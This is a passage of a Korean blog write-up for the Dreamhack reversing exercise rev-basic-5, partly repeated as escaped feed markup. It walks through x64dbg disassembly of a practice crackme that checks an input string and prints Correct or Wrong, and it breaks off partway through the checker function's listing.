&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C1168&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="n">D5424&lt;/span> &lt;span class="mi">20&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">lea&lt;/span> &lt;span class="n">rdx&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">qword&lt;/span> &lt;span class="n">ptr&lt;/span> &lt;span class="nl">ss&lt;/span>&lt;span class="p">:[&lt;/span>&lt;span class="n">rsp&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">20&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C116D&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="n">D0D&lt;/span> &lt;span class="n">A8100000&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">lea&lt;/span> &lt;span class="n">rcx&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">qword&lt;/span> &lt;span class="n">ptr&lt;/span> &lt;span class="nl">ds&lt;/span>&lt;span class="p">:[&lt;/span>&lt;span class="mf">7FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C221C&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="nl">A16C221C&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s">&amp;#34;%256s&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C1174&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">E8&lt;/span> &lt;span class="n">A7000000&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">call&lt;/span> &lt;span class="n">chall5&lt;/span>&lt;span class="mf">.7F&lt;/span>&lt;span class="n">F6A16C1220&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C1179&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="n">D4C24&lt;/span> &lt;span class="mi">20&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">lea&lt;/span> &lt;span class="n">rcx&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">qword&lt;/span> &lt;span class="n">ptr&lt;/span> &lt;span class="nl">ss&lt;/span>&lt;span class="p">:[&lt;/span>&lt;span class="n">rsp&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">20&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C117E&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">E8&lt;/span> &lt;span class="mi">7&lt;/span>&lt;span class="n">DFEFFFF&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">call&lt;/span> &lt;span class="n">chall5&lt;/span>&lt;span class="mf">.7F&lt;/span>&lt;span class="n">F6A16C1000&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C1183&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">85&lt;/span>&lt;span class="n">C0&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">test&lt;/span> &lt;span class="n">eax&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">eax&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C1185&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">74&lt;/span> &lt;span class="mf">0F&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">je&lt;/span> &lt;span class="n">chall5&lt;/span>&lt;span class="mf">.7F&lt;/span>&lt;span class="n">F6A16C1196&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C1187&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="n">D0D&lt;/span> &lt;span class="mi">9&lt;/span>&lt;span class="n">A100000&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">lea&lt;/span> &lt;span class="n">rcx&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">qword&lt;/span> &lt;span class="n">ptr&lt;/span> &lt;span class="nl">ds&lt;/span>&lt;span class="p">:[&lt;/span>&lt;span class="mf">7FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C2228&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="nl">A16C2228&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s">&amp;#34;Correct&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C118E&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">FF15&lt;/span> &lt;span class="n">F40F0000&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">call&lt;/span> &lt;span class="n">qword&lt;/span> &lt;span class="n">ptr&lt;/span> &lt;span class="nl">ds&lt;/span>&lt;span class="p">:[&lt;/span>&lt;span class="o">&amp;lt;&amp;amp;&lt;/span>&lt;span class="n">puts&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C1194&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">EB&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="n">D&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">jmp&lt;/span> &lt;span class="n">chall5&lt;/span>&lt;span class="mf">.7F&lt;/span>&lt;span class="n">F6A16C11A3&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C1196&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="n">D0D&lt;/span> &lt;span class="mi">93100000&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">lea&lt;/span> &lt;span class="n">rcx&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">qword&lt;/span> &lt;span class="n">ptr&lt;/span> &lt;span class="nl">ds&lt;/span>&lt;span class="p">:[&lt;/span>&lt;span class="mf">7FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C2230&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="nl">A16C2230&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s">&amp;#34;Wrong&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C119D&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">FF15&lt;/span> &lt;span class="n">E50F0000&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">call&lt;/span> &lt;span class="n">qword&lt;/span> &lt;span class="n">ptr&lt;/span> &lt;span class="nl">ds&lt;/span>&lt;span class="p">:[&lt;/span>&lt;span class="o">&amp;lt;&amp;amp;&lt;/span>&lt;span class="n">puts&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C11A3&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">33&lt;/span>&lt;span class="n">C0&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">xor&lt;/span> &lt;span class="n">eax&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">eax&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C11A5&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="n">B8C24&lt;/span> &lt;span class="mi">20010000&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">mov&lt;/span> &lt;span class="n">rcx&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">qword&lt;/span> &lt;span class="n">ptr&lt;/span> &lt;span class="nl">ss&lt;/span>&lt;span class="p">:[&lt;/span>&lt;span class="n">rsp&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">120&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C11AD&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">33&lt;/span>&lt;span class="n">CC&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">xor&lt;/span> &lt;span class="n">rcx&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">rsp&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C11B0&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">E8&lt;/span> &lt;span class="mi">5&lt;/span>&lt;span class="n">B010000&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">call&lt;/span> &lt;span class="n">chall5&lt;/span>&lt;span class="mf">.7F&lt;/span>&lt;span class="n">F6A16C1310&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C11B5&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">81&lt;/span>&lt;span class="n">C4&lt;/span> &lt;span class="mi">30010000&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">add&lt;/span> &lt;span class="n">rsp&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">130&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C11BC&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mf">5F&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">pop&lt;/span> &lt;span class="n">rdi&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="nl">rdi&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="sa">L&lt;/span>&lt;span class="s">&amp;#34;샰櫚Ʊ&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C11BD&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">C3&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">ret&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>다음과 같은 형태의 바이너리이다. 여기서 문자열을 입력 받고 정답임을 검사하는 함수의 위치는 00007FF6A16C117E 이다. 임의 값을 넣고 함수에 bp를 걸어 동작을 확인해보자.&lt;/p></description><content:encoded><![CDATA[<p>이번 문제는 드림핵 리버싱문제 rev-basic-5이다. 확실히 베이직 문제이다 보니 약간의 분석과정만 거치면 풀이법이 보여 쉬운편에 속했다.</p>
<p>우선 exe 파일을 다운 받으면 chall5.exe라는 바이너리가 다운로드 된다. 이후 이 바이너리를 실행 시키면</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">input : 
</span></span></code></pre></div><p>구문으로 문자열을 입력 받고 맞으면 Correct 틀리면 Wrong이라는 문자열을 출력한다.</p>
<p><br><br></p>
<p>이제 이 바이너리를 x64 디버거로 분석 해보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1130</span> <span class="o">|</span> <span class="mi">40</span><span class="o">:</span><span class="mi">57</span>                    <span class="o">|</span> <span class="n">push</span> <span class="n">rdi</span>                                <span class="o">|</span> <span class="nl">rdi</span><span class="p">:</span><span class="sa">L</span><span class="s">&#34;샰櫚Ʊ&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1132</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">81</span><span class="n">EC</span> <span class="mi">30010000</span>         <span class="o">|</span> <span class="n">sub</span> <span class="n">rsp</span><span class="p">,</span><span class="mi">130</span>                             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1139</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">B05</span> <span class="n">E81E0000</span>         <span class="o">|</span> <span class="n">mov</span> <span class="n">rax</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="mf">7FF</span><span class="mi">6</span><span class="n">A16C3028</span><span class="p">]</span>     <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1140</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">33</span><span class="n">C4</span>                  <span class="o">|</span> <span class="n">xor</span> <span class="n">rax</span><span class="p">,</span><span class="n">rsp</span>                             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1143</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">898424</span> <span class="mi">20010000</span>       <span class="o">|</span> <span class="n">mov</span> <span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">120</span><span class="p">],</span><span class="n">rax</span>          <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C114B</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">D4424</span> <span class="mi">20</span>             <span class="o">|</span> <span class="n">lea</span> <span class="n">rax</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">20</span><span class="p">]</span>           <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1150</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">BF8</span>                  <span class="o">|</span> <span class="n">mov</span> <span class="n">rdi</span><span class="p">,</span><span class="n">rax</span>                             <span class="o">|</span> <span class="nl">rdi</span><span class="p">:</span><span class="sa">L</span><span class="s">&#34;샰櫚Ʊ&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1153</span> <span class="o">|</span> <span class="mi">33</span><span class="n">C0</span>                     <span class="o">|</span> <span class="n">xor</span> <span class="n">eax</span><span class="p">,</span><span class="n">eax</span>                             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1155</span> <span class="o">|</span> <span class="n">B9</span> <span class="mo">00010000</span>              <span class="o">|</span> <span class="n">mov</span> <span class="n">ecx</span><span class="p">,</span><span class="mi">100</span>                             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C115A</span> <span class="o">|</span> <span class="nl">F3</span><span class="p">:</span><span class="n">AA</span>                    <span class="o">|</span> <span class="n">rep</span> <span class="n">stosb</span>                               <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C115C</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">D0D</span> <span class="n">AD100000</span>         <span class="o">|</span> <span class="n">lea</span> <span class="n">rcx</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="mf">7FF</span><span class="mi">6</span><span class="n">A16C2210</span><span class="p">]</span>     <span class="o">|</span> <span class="mf">00007FF</span><span class="mi">6</span><span class="nl">A16C2210</span><span class="p">:</span><span class="s">&#34;Input : &#34;</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1163</span> <span class="o">|</span> <span class="n">E8</span> <span class="mi">58000000</span>              <span class="o">|</span> <span class="n">call</span> <span class="n">chall5</span><span class="mf">.7F</span><span class="n">F6A16C11C0</span>                <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1168</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">D5424</span> <span class="mi">20</span>             <span class="o">|</span> <span class="n">lea</span> <span class="n">rdx</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">20</span><span class="p">]</span>           <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C116D</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">D0D</span> <span class="n">A8100000</span>         <span class="o">|</span> <span class="n">lea</span> <span class="n">rcx</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="mf">7FF</span><span class="mi">6</span><span class="n">A16C221C</span><span class="p">]</span>     <span class="o">|</span> <span class="mf">00007FF</span><span class="mi">6</span><span class="nl">A16C221C</span><span class="p">:</span><span class="s">&#34;%256s&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1174</span> <span class="o">|</span> <span class="n">E8</span> <span class="n">A7000000</span>              <span class="o">|</span> <span class="n">call</span> <span class="n">chall5</span><span class="mf">.7F</span><span class="n">F6A16C1220</span>                <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1179</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">D4C24</span> <span class="mi">20</span>             <span class="o">|</span> <span class="n">lea</span> <span class="n">rcx</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">20</span><span class="p">]</span>           <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C117E</span> <span class="o">|</span> <span class="n">E8</span> <span class="mi">7</span><span class="n">DFEFFFF</span>              <span class="o">|</span> <span class="n">call</span> <span class="n">chall5</span><span class="mf">.7F</span><span class="n">F6A16C1000</span>                <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1183</span> <span class="o">|</span> <span class="mi">85</span><span class="n">C0</span>                     <span class="o">|</span> <span class="n">test</span> <span class="n">eax</span><span class="p">,</span><span class="n">eax</span>                            <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1185</span> <span class="o">|</span> <span class="mi">74</span> <span class="mf">0F</span>                    <span class="o">|</span> <span class="n">je</span> <span class="n">chall5</span><span class="mf">.7F</span><span class="n">F6A16C1196</span>                  <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1187</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">D0D</span> <span class="mi">9</span><span class="n">A100000</span>         <span class="o">|</span> <span class="n">lea</span> <span class="n">rcx</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="mf">7FF</span><span class="mi">6</span><span class="n">A16C2228</span><span class="p">]</span>     <span class="o">|</span> <span class="mf">00007FF</span><span class="mi">6</span><span class="nl">A16C2228</span><span class="p">:</span><span class="s">&#34;Correct&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C118E</span> <span class="o">|</span> <span class="n">FF15</span> <span class="n">F40F0000</span>            <span class="o">|</span> <span class="n">call</span> <span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="o">&lt;&amp;</span><span class="n">puts</span><span class="o">&gt;</span><span class="p">]</span>             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1194</span> <span class="o">|</span> <span class="n">EB</span> <span class="mi">0</span><span class="n">D</span>                    <span class="o">|</span> <span class="n">jmp</span> <span class="n">chall5</span><span class="mf">.7F</span><span class="n">F6A16C11A3</span>                 <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1196</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">D0D</span> <span class="mi">93100000</span>         <span class="o">|</span> <span class="n">lea</span> <span class="n">rcx</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="mf">7FF</span><span class="mi">6</span><span class="n">A16C2230</span><span class="p">]</span>     <span class="o">|</span> <span class="mf">00007FF</span><span class="mi">6</span><span class="nl">A16C2230</span><span class="p">:</span><span class="s">&#34;Wrong&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C119D</span> <span class="o">|</span> <span class="n">FF15</span> <span class="n">E50F0000</span>            <span class="o">|</span> <span class="n">call</span> <span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="o">&lt;&amp;</span><span class="n">puts</span><span class="o">&gt;</span><span class="p">]</span>             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C11A3</span> <span class="o">|</span> <span class="mi">33</span><span class="n">C0</span>                     <span class="o">|</span> <span class="n">xor</span> <span class="n">eax</span><span class="p">,</span><span class="n">eax</span>                             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C11A5</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">B8C24</span> <span class="mi">20010000</span>       <span class="o">|</span> <span class="n">mov</span> <span class="n">rcx</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">120</span><span class="p">]</span>          <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C11AD</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">33</span><span class="n">CC</span>                  <span class="o">|</span> <span class="n">xor</span> <span class="n">rcx</span><span class="p">,</span><span class="n">rsp</span>                             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C11B0</span> <span class="o">|</span> <span class="n">E8</span> <span class="mi">5</span><span class="n">B010000</span>              <span class="o">|</span> <span class="n">call</span> <span class="n">chall5</span><span class="mf">.7F</span><span class="n">F6A16C1310</span>                <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C11B5</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">81</span><span class="n">C4</span> <span class="mi">30010000</span>         <span class="o">|</span> <span class="n">add</span> <span class="n">rsp</span><span class="p">,</span><span class="mi">130</span>                             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C11BC</span> <span class="o">|</span> <span class="mf">5F</span>                       <span class="o">|</span> <span class="n">pop</span> <span class="n">rdi</span>                                 <span class="o">|</span> <span class="nl">rdi</span><span class="p">:</span><span class="sa">L</span><span class="s">&#34;샰櫚Ʊ&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C11BD</span> <span class="o">|</span> <span class="n">C3</span>                       <span class="o">|</span> <span class="n">ret</span>                                     <span class="o">|</span>
</span></span></code></pre></div><p>다음과 같은 형태의 바이너리이다. 여기서 문자열을 입력 받고 정답임을 검사하는 함수의 위치는 00007FF6A16C117E 이다. 임의 값을 넣고 함수에 bp를 걸어 동작을 확인해보자.</p>
<p>AAAAA 라는 문자열을 입력 하였고 정답을 검증하는 함수의 어셈블리는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1000</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">894</span><span class="n">C24</span> <span class="mi">08</span>             <span class="o">|</span> <span class="n">mov</span> <span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">8</span><span class="p">],</span><span class="n">rcx</span>            <span class="o">|</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">8</span><span class="p">]</span><span class="o">:</span><span class="s">&#34;%256s&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1005</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">83</span><span class="n">EC</span> <span class="mi">18</span>               <span class="o">|</span> <span class="n">sub</span> <span class="n">rsp</span><span class="p">,</span><span class="mi">18</span>                              <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1009</span> <span class="o">|</span> <span class="n">C70424</span> <span class="mo">00000000</span>          <span class="o">|</span> <span class="n">mov</span> <span class="n">dword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="p">],</span><span class="mi">0</span>                <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1010</span> <span class="o">|</span> <span class="n">EB</span> <span class="mi">08</span>                    <span class="o">|</span> <span class="n">jmp</span> <span class="n">chall5</span><span class="mf">.7F</span><span class="n">F6A16C101A</span>                 <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1012</span> <span class="o">|</span> <span class="mi">8</span><span class="n">B0424</span>                   <span class="o">|</span> <span class="n">mov</span> <span class="n">eax</span><span class="p">,</span><span class="n">dword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="p">]</span>              <span class="o">|</span>
